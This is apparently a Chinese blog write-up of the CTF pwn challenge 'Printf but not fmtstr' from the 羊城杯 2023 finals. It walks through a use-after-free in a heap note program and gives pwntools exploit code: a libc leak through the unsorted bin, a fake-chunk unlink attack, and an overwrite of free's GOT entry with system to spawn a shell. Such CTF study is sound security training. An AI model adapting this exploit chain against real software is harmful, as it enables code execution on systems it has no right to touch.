0%

[羊城杯 2023 决赛]Printf but not fmtstr - 简单的unlink

2025-04-21 20:00By
j1ans
UAFunlink堆风水
title: '[羊城杯 2023 决赛]Printf but not fmtstr' date: 2025-04-21 13:45:31 tags: - pwn - heap - heap_feng_shui - unlink - IO_file

题目glibc2.36 高版本带safe-linking 推断要泄露heap_base

[*] '/home/rick/Downloads/attachment/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)

64位 部分aslr 没有pie

FILE *sub_40127C() { FILE *result; // rax if ( *(FILE **)off_404070 != stderr || *(FILE **)off_404078 != stdout || (result = stdin, *(FILE **)off_404080 != stdin) ) { write(2, "No! you can't do this!", 0x17uLL); _exit(0); } return result;

有一个验证函数 检测是否修改了

0x404070 -> stderr

0x404078 -> stdout

0x404080 -> stdin

这三个地址存放的这三个流的地址

unsigned __int64 __fastcall add_notes(const char *a1) { unsigned int v1; // ebx unsigned int v3; // [rsp+0h] [rbp-20h] BYREF _DWORD size[5]; // [rsp+4h] [rbp-1Ch] BYREF *(_QWORD *)&size[1] = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &v3); if ( v3 <= 0xF ) // 最大只能存16个chunk { printf("Size: "); __isoc99_scanf("%u", size); if ( size[0] <= 0x900u ) { // 0x4FF<size<=0x900 if ( size[0] > 0x4FFu ) { v1 = v3; qword_4040E0[v1] = malloc(size[0]); dword_404160[v3] = size[0]; } else { puts("Too small."); } } else { puts("Too big."); } } else { puts("There are only 16 pages in this notebook."); } return *(_QWORD *)&size[1] - __readfsqword(0x28u); }

只能存16个chunk

最大0x900 最小0x4FF

0x4040e0存的chunk地址

0x404160存的chunk的size

unsigned __int64 __fastcall delete_notes(const char *a1) { unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &v2); if ( v2 <= 0xF ) { if ( qword_4040E0[v2] ) free((void *)qword_4040E0[v2]); else puts("Page not found."); } else { puts("There are only 16 pages in this notebook."); } return v3 - __readfsqword(0x28u); }

UAF 没有给指针置0

unsigned __int64 __fastcall edit_notes(const char *a1) { unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &v2); if ( v2 <= 0xF ) { if ( qword_4040E0[v2] ) { printf("Content: "); read(0, (void *)qword_4040E0[v2], (unsigned int)dword_404160[v2]); } else { puts("Page not found."); } } else { puts("There are only 16 pages in this notebook."); } return v3 - __readfsqword(0x28u); }

用的是0x404160的size来填 如果改了这个size是不是可以溢出

unsigned __int64 show_notes() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &v1); if ( v1 <= 0xF ) { if ( qword_4040E0[v1] ) printf("Content: %s\n", (const char *)qword_4040E0[v1]); else puts("Page not found."); } else { puts("There are only 16 pages in this notebook."); } return v2 - __readfsqword(0x28u); }

正常的show函数

因为最小的chunk都大于0x410了 所以tcache肯定进不去了

safe-linking只在tache

接收:u64(p.recv(5).ljust(8,b’\x00’)) << 12
而修改heap的fd指针:(heap_addr >> 12)^target_addr

new(0,0x500) new(1,0x500) new(2,0x500) new(3,0x500) delete(0)##隔着放 要不然容易触发合并 delete(2) show(0) ru(b"Content: ") leak_main_arena = u64(io.recv(6).ljust(8,b'\x00')) ls("get_decrypted_main_arena=>"+hex(leak_main_arena)) libc_base = leak_main_arena -libc.sym["_IO_2_1_stdin_"] - 0x200 -64 ls("get libc_base=>"+hex(libc_base)) ''' pwndbg> x/40gx 0x718b2d7f6cc0 -0x200 0x718b2d7f6ac0 <_IO_2_1_stdin_+64>: 0x0000718b2d7f6b04 0x0000000000000000 '''

随便找的偏移 拿到libc_base

[+] get_main_arena=>0x774ab4ff6cc0
[+] get libc_base=>0x774ab4e00000

构造假chunk打unlink

delete(3)#触发合并 new(5,0x600)#recovery idx 0 new(6,0x610)#cut chunk set idx 4 prev_size == 0x600 save_heap_addr = 0x4040e0 has_bk = save_heap_addr has_fd = save_heap_addr +0x8 payload = p64(0)+p64(0x601)+p64(has_bk)+p64(has_fd) edit(3,payload)#现在可以发现块有了PREV_INUSE + FD BK改变 + next_chunk的prev_size 符合我们构造的fake_chunk delete(4) ogg = libc_base +0x4e1c9 edit(3,p64(e.got["free"])) edit(0,p64(libc_base+libc.sym["system"])) edit(2,b'/bin/sh\x00') delete(2) #sla(b">",str(1)) #attach(io)

打完后才发现有后门,,

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论